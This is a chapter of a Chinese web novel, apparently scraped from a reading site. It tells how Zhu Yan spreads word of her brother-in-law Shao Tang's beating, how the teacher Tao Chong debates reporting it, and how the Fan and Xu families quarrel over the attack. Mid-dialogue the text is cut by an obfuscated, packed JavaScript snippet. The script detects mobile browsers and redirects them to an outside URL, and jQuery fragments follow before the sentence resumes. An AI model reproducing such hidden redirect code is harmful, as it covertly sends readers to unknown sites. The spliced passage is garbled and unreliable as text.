默认冷灰
24号文字
方正启体

100. 第一百章

作者:织就本书字数:K更新时间:
    正是吃朝食的时候,巷子口有不少卖早点的摊子,茶点铺里也坐满了人,朱颜心头一动,就苦着脸将昨晚上龙津桥头的事说了。


    钟娘子也气愤:“咱们麦梢坊一向平安无事,怎地忽然就有这么一伙贼人殴打读书人?只怕是有些嫉妒邵秀才的人下狠手!”


    就有用茶点的老街坊帮着出主意:“家里出个秀才不易,朱娘子该报官,好好缉拿这些胆大包天的人!”


    牛娘子也被吸引过来,得知内情后,比钟娘子还要气愤:“真是天杀的这些贼人,嫉妒别人,怎地自家不出色?该这些人一辈子都扶不起,只能背后作这些腌臜手段,呸!”


    老街坊听的云里雾里,就问:“不过这邵秀才怎么得罪人了?什么事啊还能被这样打?”


    牛娘子也被问到了,就问钟娘子,钟娘子却看向朱颜。


    朱颜顿时想到了什么。


    不如将事情扩大化。


    反正邵堂都不怕,她怕什么?而且之前想的是等到天圣节再一鸣惊人,可现在人家都欺负到头上来了,邵堂不卑不亢,她也要帮着宣传宣传。


    她清了清嗓子,给邵远使眼色,邵远立刻会意:“今早起来还没吃朝食呢,老油饼,给我上两个来,钟娘子,你家的擂茶来一碗。”


    朱颜也顺势坐了过去,和好奇心重的众人说起了邵堂的文章如何被尹老先生看中,如何得了他的喜欢,又何时要办拜师宴,宴上要去哪些人,又怎么被人嫉妒,天天盯着他出错,又趁着他回家探望兄嫂时被人在龙津桥前打的事,所有的所有,不但都说了个干净,还都注水加长地描绘了。


    尤其是龙津桥头三个字,更是加重了音调。


    说到被人打得头都破了的时候,朱颜更是用帕子假装擦了眼角:“我小叔子自小聪明伶俐,公公婆婆将他当眼珠子疼,就算是耕读家也没让他受过这样的委屈,可他为了拜师,根本不让我们去报官,就怕带累了先生的名声。”


    街坊相邻里,谁家有个读书人,一家子都跟佛像似的金尊地养着供着,只怕缺了少了,若是有了秀才举人功名,那更是当金疙瘩似得,自己都舍不得打一下,更何况头都被打破了?


    当下不少人说得义愤填膺,却都是平头百姓,说来说去都是报官,谁也没个好主意。


    邵远有点失望,他以为朱颜留在这大肆宣扬,是为了有人能帮着出主意呢。


    朱颜却不管那些,直一味将这些话竹筒倒豆子似得倒了个干净,钟娘子和马娘子赶紧宽慰她,只要小叔子以后能中举人,这些都不是问题,到时候有冤报冤有仇报仇,那时候再秋后算账也不迟。


    人群里,有位老先生皱了皱眉头。


    但他没吭声,吃完朝食后回了三条巷子外的家宅中。


    老妻抱怨:“怎地又出去吃那油饼了?说了多少回了,上了年纪怎吃得这些油腻之物?家里厨娘不合你胃口,就派了人重新去请好了,也免得你每日大早出去,就为了躲我。”


    老先生呵呵笑,家里的厨娘是老妻的陪嫁,怎敢辞退,只好打囫囵:“就是换换口味,你不喜欢,明日起我不去了。”


    多年夫妻,老太太不会不明白他就是糊弄自己,也懒得管了,摆摆手让他快去授课。


    老先生赶紧去了东边的作了学堂的书斋。


    他早年寒窗苦读,却止步于举人,拖累家中,因而不再赶考,自此在家开了学堂。


    好在还有些家底,加上妻子出身商户,嫁资丰厚,家里也不缺金银,即使他年迈,也从不颐养在家,反而日日授课于启蒙小儿,很是勤益。


    他到时学童已经满座,师生见过面后,开始上课。


    才讲了几句,就有人站起来问询:“先生,学生读论语,见孔夫子说“学而优则仕”,可今早听说我家附近一位秀才相公被人趁夜殴打,连头都打破了!您也常说腹有诗书气自壮,可这秀才公读了这么多的书,却怎么不壮?读书真的有用吗?”


    老先生闻声抬头,见站起身说话的正是平日里最爱缺课的齐映,面上一怔,随后想起今早邵家二嫂声泪俱下的那些话,顿时眉头皱了起来。


    “读书哪里是为拳脚护身?“君子有勇而无义为乱”,读书是教你立住本心、明辨是非。这位秀才被打,并非是他书读的不够多,气不够壮,不过是因旁人嫉妒他有才学罢了,不可就一而论胡言乱语,不必过多纠结此事,坐下吧。”


    齐映却不坐下,反而继续问:“先生,学生还是不明白,若读书只为学虚有其表的志气,遇着这样不讲理的歹人,今日还只是拳脚,明日若是刀剑该怎么办?依我看还不如那屠夫镖师,至少谁也不敢欺负!”


    老先生被问得一愣。


    一众小孩子都闹了起来,齐映洋洋得意,觉得自己说到了点子上,让先生都哑口无言了。


    可老先生想得却是另一方面。


    下课后他回了家里,老妻看他黑着脸,就问:“是那个齐家的小子又惹你生气了?”


    老先生摇摇头,却什么也不说,静坐在旁边。


    老太太心知他这副表情是遇到了烦心的事,就坐直了身子问:“怎么了?”


    老先生踌躇了一会,也正想有人商议一下,于是就将自己今日的所见所闻与她说来。


    老太太顿时火冒三丈,一拍红漆雕花的小桌,茶水都抖了出来,“光天化日之下,秀才被人当街殴打,这样的事还叫什么事?你既然听到了,赶紧去呈报州学才是!那卫博士不是和你私教甚好?今日就请他过来吃饭,提了这件事,一定要请衙门仔细查!断然不能纵容!”


    说着就要喊小丫鬟去吩咐厨房,让今晚上备桌小席面,着重点明要做两道卫博士爱吃的菜。


    卫博士常来,不用说厨娘也晓得是哪些,小丫鬟点点头就应声而去。


    “先别急,”老先生有些为难,“他这邵学子要拜尹学士门下,只怕是惹了什么麻烦才有此一遭,我贸然插手,只怕……”只怕也会惹上什么麻烦。


    “陶崇!亏你一把年纪了,居然连小孩子都不如!”陶老太太气得倒仰,“当年我爹不同意你提亲,面对我家七八房亲戚,你孤高端正的气魄哪里去了?再说要不是你好为邻居孤儿寡母起状纸打官司,连功名都差点丢了,我也没见你腿软过,怎么现在越老腰杆越软了?早知道你会变成这种人,我当初说什么也不嫁给你!”


    陶老先生怕她气出个好歹来,赶紧安抚:“你别气,你别气。”高声喊小丫鬟拿清心丸来,看着她服下,才说,“不是我怕惹麻烦,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877079|185013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是这件事不好立刻下论断,若这邵秀才夸大其词也说不好呢?”


    虽然嘴上这样说,但今早邵家二郎二嫂送邵秀才的时候,他也瞧见了,头上透血的白布和惨白的没有一丝血色的脸可骗不了人。


    说着自己就先喊了跑腿的小厮去了卫博士府上请人。


    *


    “蠢材!真是蠢!还是有秀才功名的人!我看你还不如那田里挖地的泥腿子!我怎么摊上你这么个小舅子!”


    第二天一早,这件事传得沸沸扬扬之后,徐家内院里,范县丞正在气急败坏地责难对方,站在他对面的正是他的小舅子徐晖。


    徐老大臊眉搭眼地坐在一旁,徐大媳妇皱着眉站在他旁边也不说话,反倒是跟着来的范太太一脸不屑。


    听丈夫骂得不像话,她出声阻止:“官人,你这话说的也太难听了,为着旁人骂自家人?他邵堂的二嫂本来就是抢了咱们家的银子,晖儿打他一顿,不过出出气怎么了?换了我只怕还要狠狠揍他一顿,再丢到他家画坊门口去,看他们以后还敢不敢了。”


    那可是一千多两银子!谁家一个月就能挣这么多?她当初嫁到范家的时候,陪嫁里唯一的香油铺子,一年下来也才八十两,一千两,那要多少间香油铺子才挣得回来!


    范县丞根本不想听这些话,狠狠瞪了她一眼:“不过就是出出气?出气有这么出的吗?那些乡间地头的泥腿子打架斗殴还请中间人分辨个是非对错再动手,他一个秀才相公,就这么让人去打了邵堂,现在说一句也不成了?既然如此,以后你家的事别找我,我也再不管!”


    “什么你家的我家的!”范太太不依了,声音也尖了几分,“拿用我娘家银子的时候,就是一家,现在出了事,就是你家我家?那我也分分清楚好了!把我的嫁妆都分出来,我不跟你过了!”


    “就是。”徐晖也跟着帮腔,“二姐,还是你疼我。”


    范县丞方才急火攻心骂了徐晖,回过神再说话就留了余地,可范太太却牙尖嘴利分毫不让,还拿自己用她嫁妆的事露了众人面前,顿时范县丞感觉面子挂不住,阴沉着脸就要甩袖走人。


    “姑爷,咱们都是一家人,姑奶奶就是嘴巴厉害了一些,怎么拌两句嘴您还真要走?”徐大媳妇赶紧上前要拦,可她不好伸手,就一面说话一面给丈夫打眼色。


    徐老大这才回过神,上前拉住了范县丞:“妹婿,你是明白人,徐晖他是个糊涂蛋,你别跟他一般计较。”打量他虽然依旧冷着脸,可神色到底缓和了点,就坡下驴问,“这件事真有那么严重?这都一日过去了,邵堂也没个动静啊,只怕他就吃这个哑巴亏,不敢乱说吧?”


    徐大媳妇见势也帮腔:“是啊是啊,我瞧着街面上没谁说这事呢,只怕是瞎担心了,那邵堂就要拜入尹家门下,这关键时候怎好生事给尹家抹黑?只怕咱们都想多了。”


    又去拉了拉小姑子的衣袖:“妹妹也就是心直口快,她是什么人妹婿你还不知道?有口无心,你大人有大量,别跟她一般计较了,都是为了家里好,你说是不是?”


    倒是还没有动静,否则范县丞早就得知了,哪还有空在这和徐家的人说这些。


    正僵持着,外头有人跑进来,看到这情形吓了一跳,也不敢说了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)